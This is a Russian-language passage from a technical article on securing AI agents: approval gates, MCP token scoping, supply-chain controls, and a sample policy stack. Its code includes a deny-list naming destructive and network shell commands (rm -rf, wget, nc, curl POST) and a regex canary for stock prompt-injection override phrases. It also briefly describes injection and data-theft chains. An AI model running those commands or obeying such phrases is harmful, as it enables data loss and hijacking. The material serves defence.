2. Interrupts сопоставляются с resumes по index, а не по имени. Если в одном node есть два вызова interrupt(), LangGraph сопоставляет их со значениями Command(resume=...) в порядке срабатывания. Любая branching-логика, меняющая количество выполняемых interrupts (например, if, пропускающий один interrupt при resume, или loop с другим числом итераций), нарушит соответствие indexes, и resume value может попасть не в тот interrupt.

3. Payloads должны быть JSON-safe. Документация LangGraph требует JSON-serializable values для interrupt() и resume payloads. Используйте strings, numbers, booleans, arrays и dictionaries, содержащие такие значения. Избегайте functions, class instances и других сложных объектов, поскольку serialization зависит от настроенного checkpointer. Перед передачей данных approval в interrupt() или публикацией через HTTP API преобразуйте их в dictionaries и primitives.

Три канонических паттерна:

# No-run: illustrative LangGraph sketches; requires LangGraph, a tool decorator, interrupt, and smtp_send.
# (a) Approval gate
@tool
def send_email(to, subject, body):
    resp = interrupt({"action": "send_email", "to": to,
                      "subject": subject, "body": body})
    if resp.get("action") == "approve":
        return smtp_send(to, subject, body)
    return "Email cancelled"

# (b) Edit-and-continue
def review_node(state):
    edited = interrupt({"content": state["generated_text"]})
    return {"generated_text": edited}

# (c) Mid-run state correction — conditional edge
class AgeState(TypedDict):
    age: int | None
    pending_question: str | None

def get_age_node(state: AgeState):
    question = state.get("pending_question") or "What is your age?"
    answer = interrupt(question)  # once per node invocation
    if isinstance(answer, int) and answer > 0:
        return {"age": answer, "pending_question": None}
    return {"pending_question": f"'{answer}' is not valid. Please enter a positive number."}

def route_age(state: AgeState):
    return END if state.get("age") is not None else "get_age"

builder = StateGraph(AgeState)
builder.add_node("get_age", get_age_node)
builder.add_edge(START, "get_age")
builder.add_conditional_edges("get_age", route_age)

Resume — это graph.invoke(Command(resume={"action": "approve"}), config=cfg). LangGraph 0.4+ поддерживает dict-based multi-interrupt resume для parallel branches, что становится важно сразу после fan-out агента.

HumanLayer: approval как продукт

HumanLayer — managed-версия той же идеи. Вы помечаете функцию декоратором, а approval requests направляются в Slack, email или Discord с правилами, определяющими, кого уведомлять. Когда агент пытается вызвать multiply(2, 5), logs выглядят так:

last message led to 1 tool calls: [('multiply', '{"x":2,"y":5}')]
HumanLayer: waiting for approval for multiply

Approver нажимает approve или deny в Slack. При deny документация HumanLayer формулирует это так: «HumanLayer передаст ваш feedback обратно агенту, который затем сможет скорректировать свой подход». Именно последняя часть отличает настоящий HITL layer от обычного confirmation dialog. Человек становится сигналом, над которым агент рассуждает внутри того же цикла, а не gate, который понимает только yes или no.

Approval fatigue в данных

Anthropic опубликовала реальные данные в феврале 2026 года. Важнее всего три вывода.

“Мы обнаружили, что 80% tool calls выполняют агенты, у которых, по-видимому, есть хотя бы один safeguard (например, restricted permissions или требования human approval), у 73% есть human in the loop в той или иной форме, и лишь 0,8% actions, по-видимому, необратимы.”

Это хорошая новость. Считайте 80% верхней границей, поскольку в footnote 14 Anthropic добавляет: «Claude часто переоценивал участие человека, поэтому мы ожидаем, что 80% — это верхняя граница».

“Новые пользователи (<50 sessions) используют full auto-approve примерно в 20% случаев; к 750 sessions этот показатель возрастает более чем до 40% sessions.”

Это и есть drift. Сначала пользователи осторожны, но по мере роста доверия к tool становятся менее осторожными. Так ведут себя люди, и это не недостаток характера. Это telemetry signal, который должна отслеживать ваша система. (Небольшое уточнение: в secondary coverage это широко цитировалось как «20% → более 50%». Согласно primary data Anthropic, подтверждённое значение — 20% → более 40%. Если вы видели цифру 50%, вот откуда она взялась.)

В инженерной статье Anthropic от марта 2026 года об auto mode Claude Code указано ключевое число:

“Пользователи Claude Code одобряют 93% permission prompts. Мы создали classifiers, автоматизирующие часть решений, чтобы повысить безопасность и уменьшить approval fatigue… Если в сессии накапливаются 3 последовательных denials или 20 всего, мы останавливаем model и эскалируем запрос человеку.”

Когда dialog approve нажимают в девяти случаях из десяти, он перестаёт быть надёжным security control. Он становится telemetry. Пользователи научились просто проходить его. Ответ Anthropic — архитектурный. Двухэтапный classifier (быстрый single-token filter, затем chain-of-thought только при flag, с false-positive rate 0,4%) убирает approval prompts для low-risk actions и полностью останавливает loop, если denials идут серией.

Измеряйте качество escalation

Добавьте в allowlist рутинные обратимые действия и логируйте их. Эскалируйте действия, чьи side effects пересекают границу, которую runtime не может отменить: external message, production write, force push или payment. Anthropic формулирует цель так: человек должен сохранять возможность вмешаться, когда решение имеет реальные последствия.

Отслеживайте весь funnel, а не стремитесь к заимствованному approval-rate target: proposed actions, automatic allows, escalations, approvals, denials, edits и incidents after approval. Высокий approval rate может означать, что prompts превратились в рутинный шум. Высокий denial или edit rate может означать, что planner предлагает неправильное действие или скрывает информацию, необходимую approver. Полезный threshold зависит от класса действия и стоимости false allow, поэтому задавайте его на основании собственных данных об инцидентах и review.


Scoping MCP и supply chain

MCP подключает агентов к внешним tools — Slack, GitHub и databases, — поэтому его authorization model становится частью security boundary. Ревизии спецификации 2025 года разделили роли token issuer и resource server и добавили resource indicators. Эта история объясняет, какие audience и forwarding checks server должен применять сегодня.

MCP authorization в трёх ревизиях

В спецификации 2025-03-26 authorization была optional для MCP implementations. Для production HTTP deployment, защищающего user data или tools, я рекомендую OAuth 2.1 с PKCE (Proof Key for Code Exchange), который спецификация требует, если implementation поддерживает OAuth authorization. Ранний дизайн позволял одному MCP server выполнять две роли. Authorization server выдаёт tokens; resource server принимает их. Это отдельные роли, даже если обе выполняет один service. Если этот service пересылает request другому server, тот же credential может попасть туда, куда его не предназначали. В этом и заключается уязвимость.

Ревизия 2025-06-18 явно разделила роли. Защищённый MCP server выступает как OAuth resource server, а authorization server выдаёт token. Authorization server может быть размещён вместе с resource server или работать отдельно. Resource Indicators RFC 8707 привязывают token к target resource, а Protected Resource Metadata RFC 9728 дают client явный discovery path. Спецификация также запрещает MCP server пересылать token клиента upstream.

Ревизия 2025-11-25 сохранила это разделение и доработала части, которые должен корректно реализовать client. Discovery authorization server получил OpenID Connect Discovery, чтобы client мог найти правильный issuer, а не угадывать. Incremental scope consent переместился в header WWW-Authenticate, что позволяет server запросить ещё один scope в момент необходимости, а не требовать все scopes заранее. Client registration получил OAuth Client ID Metadata Documents в качестве рекомендуемого механизма, заменив dynamic registration для большинства deployments. Discovery Protected Resource Metadata также был приведён в соответствие с RFC 9728, сделав WWW-Authenticate optional с fallback .well-known.

Перед реализацией проверьте страницу versioning. По состоянию на август 2026 года текущая revision — 2026-07-28. Она требует, чтобы каждый request объявлял protocol version, и позволяет server принимать или отклонять каждый request независимо. Client может вызвать server/discover, чтобы заранее выбрать version, но discovery optional. Per-request declaration и negotiation остаются обязательными, в том числе когда client обрабатывает unsupported-version error и повторяет запрос с mutually supported version.

Audience binding ограничивает replay против неправильного MCP server. Но он не нейтрализует остальную цепочку атаки Claude Code: host-side hook всё ещё может выполниться до старта модели, а недоверенный project — попытаться изменить local configuration. Token scope, project trust, hook policy и sandboxing остаются отдельными контролями.

Чеклист MCP на 2026 год

Если вы поставляете или используете MCP в production:

  1. Считайте authentication production requirement, а не protocol default. MCP оставляет authorization optional, но для protected HTTP deployment я рекомендую OAuth 2.1 с PKCE. У Azure MCP Server CVE отсутствовала auth. Если ваш server принимает traffic без проверки caller credentials, вы создали tool, который может вызвать любой, кто до него доберётся.
  2. Tokens должны быть audience-bound. Запрашивайте token для target MCP resource и проверяйте, что представленный token называет ваш server в качестве audience. Отклоняйте tokens, выпущенные для другого resource.
  3. Целенаправленно разделяйте read и write authority. MCP привязывает token к resource server, а не к отдельному tool. Если Slack server принимает credential с chat:write и направляет его и в read-, и в write-handlers, read-oriented tool может превратиться в message-sending path через policy этого server. Используйте отдельные resource servers или отдельные credentials и authorization checks, если read и write operations должны иметь независимые blast radii.
  4. Используйте свежие short-lived tokens вместо permanent API keys. Vault pattern Claude Managed Agents (engineering Anthropic) — эталонный пример: сам агент никогда не видит реальные credentials. Middleman service хранит их, получает fresh token в момент tool call, использует его от имени агента и возвращает только результат.

Контроли supply chain по-прежнему необходимы

Инциденты с axios и Trivy — знакомые package- и CI-supply-chain failures, применённые к системам, автоматизирующим установку dependencies. Automation увеличивает число и скорость executions, поэтому version, provenance и review controls должны срабатывать до того, как generated command попадёт в CI или sandbox.

Защита проста:

  • Фиксируйте versions в lockfile. Агенты никогда не должны разрешать floating version — ни @latest, ни npm update, ни --upgrade.
  • Запускайте scanning в CI с tools, независимыми от проверяемого компонента.
  • Используйте GitHub commit SHAs для Actions, а не tags.
  • Проверяйте dependency diffs в agent-driven PR до merge.

Это стандартные supply-chain controls. Agent automation меняет их частоту, но не механизм.


Stack policy для Market Analyst Agent

Market Analyst Agent из части 1 — небольшой LangGraph agent, который получает market data и записывает analyst report, но описание «небольшой» не означает простоту. Помимо market-data tools, он запускает allowlisted CLI через subprocess, вычисляет написанный моделью Python in process и может разместить trade. Это три класса возможностей, о которых говорится в статье, у агента, которого никто не назвал бы рискованным. Вот как выглядит минимальный stack policy для него.

Слой 1: PreToolUse hook, блокирующий до выполнения

Даже агент, который «просто читает stock data», может обратиться к тому, к чему не следует: выполнить curl на URL, контролируемом атакующим, записать данные за пределами workspace или сделать git mutations в host repo. Deny rule — это инфраструктура, а не промпт. Приведённый ниже sketch возвращает собственную форму decision агента, а не обёртку hookSpecificOutput, которую ожидает Claude Code.

# agent/permissions.py
from pathlib import Path

DENY_COMMANDS = frozenset({
    "rm -rf", "sudo", "chmod 777",
    "curl -X POST", "wget", "nc ",
})
WORKSPACE = Path("./workspace").resolve()

def _outside_workspace(path: str) -> bool:
    # Resolve first: "~/.ssh/id_rsa" and "workspace/../../etc" both
    # have to become real paths before the comparison means anything.
    return not Path(path).expanduser().resolve().is_relative_to(WORKSPACE)

def pre_tool_use(tool_name: str, args: dict) -> dict | None:
    if tool_name == "shell":
        cmd = args.get("command", "")
        if any(bad in cmd for bad in DENY_COMMANDS):
            return {"permissionDecision": "deny",
                    "reason": f"command pattern disallowed: {cmd!r}"}
    if tool_name == "write_file":
        path = args.get("path", "")
        if _outside_workspace(path):
            return {"permissionDecision": "deny",
                    "reason": f"path outside workspace: {path!r}"}
    return None  # fall through to mode / canUseTool

Sketch делает точку контроля видимой. Hook возвращает structured deny, а reasoning loop получает этот deny как tool observation.

Проверка path — это allowlist: один workspace root, всё остальное запрещено. Deny-list forbidden prefixes блокирует только пути, о которых вы подумали. ~/.ssh/id_rsa никогда не записывается ровно так, как вы указали в списке. Проверка command всё ещё остаётся deny-list. Substring matching — не production shell policy. Реальная реализация должна парсить command и полагаться на OS sandbox при выполнении.

Слой 2: input canary для prompt injection

Agent-goal hijack (ASI01) часто приходит через retrieved web page, user message или PDF исследовательской статьи. Дешёвый regex canary обнаруживает буквальные instruction patterns и создаёт полезное telemetry event. Он пропустит obfuscated, multilingual и context-dependent injections, поэтому не может служить decision boundary:

# agent/input_canary.py
import re

INJECTION_PATTERNS = [
    re.compile(r"ignore\s+(?:all\s+|any\s+|the\s+)?"
               r"(?:previous\s+|prior\s+|above\s+|earlier\s+)?"
               r"(?:instructions|rules|prompts?)",
               re.IGNORECASE),
    re.compile(r"you are now|act as|roleplay as", re.IGNORECASE),
    re.compile(r"system[ _:]*prompt", re.IGNORECASE),
    re.compile(r"<\|im_(start|end)\|>"),
]

def input_canary(text: str) -> dict | None:
    for pat in INJECTION_PATTERNS:
        m = pat.search(text)
        if m:
            return {"flag": "possible_injection", "match": m.group(0)}
    return None

Логируйте flagged inputs, но не отклоняйте их автоматически. False positives здесь дороги для research assistant. Но именно log позволяет заметить, что число flags одного пользователя внезапно выросло.

Слой 3: structured output validation через stop hook

Pydantic model и hook Stop дают tight validate-then-retry loop для генерации report. Агент не может заявить «done», пока output не пройдёт schema validation и smoke test:

# No-run: illustrative policy sketch; requires Pydantic and the repo-local agent.schemas module.
# agent/stop_hook.py
from pydantic import ValidationError
from agent.schemas import MarketReport

def on_stop(final_output: str) -> dict:
    try:
        report = MarketReport.model_validate_json(final_output)
    except ValidationError as e:
        return {"decision": "continue",
                "feedback": f"schema invalid: {e.errors()[:3]}"}
    if not report.tickers:
        return {"decision": "continue",
                "feedback": "no tickers in report — did you skip the snapshot step?"}
    return {"decision": "allow_stop"}

Schema check и один smoke test — это разница между «агент сказал, что закончил» и «output действительно является report».

Слой 4: interrupt gate для outbound actions

У market analyst уже есть один irreversible tool — execute_trade, — и любой добавленный outbound tool — email, Slack, report для client — относится к той же категории. Паттерн не меняется в зависимости от tool. Оберните его в interrupt():

# No-run: illustrative outbound-tool sketch; requires LangGraph, a tool decorator, and smtp_send.
# agent/tools/notify.py
from langgraph.types import interrupt

@tool
def send_report(to: str, body: str):
    resp = interrupt({
        "action": "send_report",
        "to": to,
        "body_preview": body[:400],
    })
    if resp.get("action") == "approve":
        return smtp_send(to, body)
    return "send cancelled by human"

Outbound actions завершают lethal trifecta. Явно ставьте их на gate, когда destination или content выходят за обычный blast radius агента. Messages для finance, customers или external recipients должны содержать достаточно preview и provenance, чтобы approver понимал, что именно будет отправлено.

Чего этот stack не делает

Это не защита от:

  • Скомпрометированной upstream dependency (axios-class). Агент выполняет то, что говорит запускать uv sync.
  • Вредоносного .mcp.json в cloned repo (CVE-2025-59536-class). Это ловится permission model host MCP client, а не кодом агента.
  • Цепочки кражи данных, собранной из легитимных tools (EchoLeak-class): агент читает private data, агент запрашивает external URLs, агент отправляет messages наружу. Нужна framing trifecta: не объединяйте эти три возможности.
  • Escape из execute_python_analysis — in-process Python evaluator агента. Он блокирует список типов statements, отклоняет любой identifier, начинающийся с underscore, и разрешает imports только из json, math и statistics. Но exec в worker process не является boundary: bypass получит file handles и network worker. Перенесите evaluator в subprocess с CPU- и memory-limits, прежде чем он начнёт вычислять что-либо, на что повлиял untrusted source.

Эти четыре слоя — local policy, а local policy — внутренний слой, который вы контролируете, но не единственный. Каждый пункт из списка должен перехватываться где-то ещё: в lockfile, MCP client, process boundary вокруг generated code или в решении не выдавать одному агенту все три возможности trifecta.


Главные выводы

  1. Content filters и execution policy защищают разные границы. Filters проверяют model input и output. Tool authorization, credential scope, sandboxes и supply-chain controls действуют на путях, использованных в шести инцидентах.
  2. Большинство категорий OWASP ASI требуют controls за пределами model output. Используйте список, чтобы сопоставить каждую threat с компонентом, который действительно может её заблокировать или записать.
  3. Permission — это инфраструктура, а не промпт. Claude Code документирует precedence для deny, ask и allow rules, а PreToolUse может блокировать до выполнения. Claude Agent SDK предоставляет отдельный путь canUseTool. Остальным runtimes нужна столь же тестируемая precedence model.
  4. Рассматривайте structured deny от PreToolUse hook как обычное tool observation. Reasoning loop уже умеет его обрабатывать. Отдельный security workflow не нужен.
  5. Approval rate 93% — это сигнал проверить качество prompts и частоту escalation. Отслеживайте edits, denials и incidents after approval, а не копируйте универсальный target.
  6. Audience-bound tokens и per-session vaults ограничивают credential replay и exposure. Они не заменяют project trust, hook policy или sandboxing.
  7. Supply-chain checks должны работать со скоростью automation. Фиксируйте versions и Actions SHAs, запускайте scanning в CI и проверяйте dependency changes в pull requests, созданных агентом.
  8. Стройте policy layer так, чтобы новый product launch его не обнулял. OpenAI Agents SDK, Codex CLI и Claude Code по-разному выражают одни и те же primitives. Ставка должна быть на primitives — permission ladders, hooks, sandboxes, interrupts и audience-bound tokens.

Следующий слой — runtime

Часть 5, Long-Running AI Agent Runtime, показывает, где во время длительного запуска находятся sandbox, secret broker, checkpoint и audit trace. Часть 6 затем перемещается внутрь харнесса, где эта permission ladder — один из нескольких stages, и рассматривает, как acceptance checks, retries и trace-driven evaluation не дают циклу объявить об успехе слишком рано. Там же появляется вопрос, который этой статье был не нужен: безопасно ли вообще повторно отправлять call, завершившийся timeout в процессе выполнения.


References

Формулировки и рамки

Продукты для гардрейлов LLM

Инциденты

Policy surfaces

HITL

OWASP


Policy layer Market Analyst Agent находится в combined analysis-to-trade graph репозитория, а не в analysis graph, указанном в части 1. Это deterministic guardian node, который отклоняет restricted actions, автоматически одобряет low-value actions и передаёт остальные compliance-officer node, прежде чем graph останавливается с interrupt_before. Policy layer находится на GitHub. Deny hook, input canary и Stop-hook validator выше — sketch тех же control points. Они написаны для чтения, а не для прямой установки в этот repo.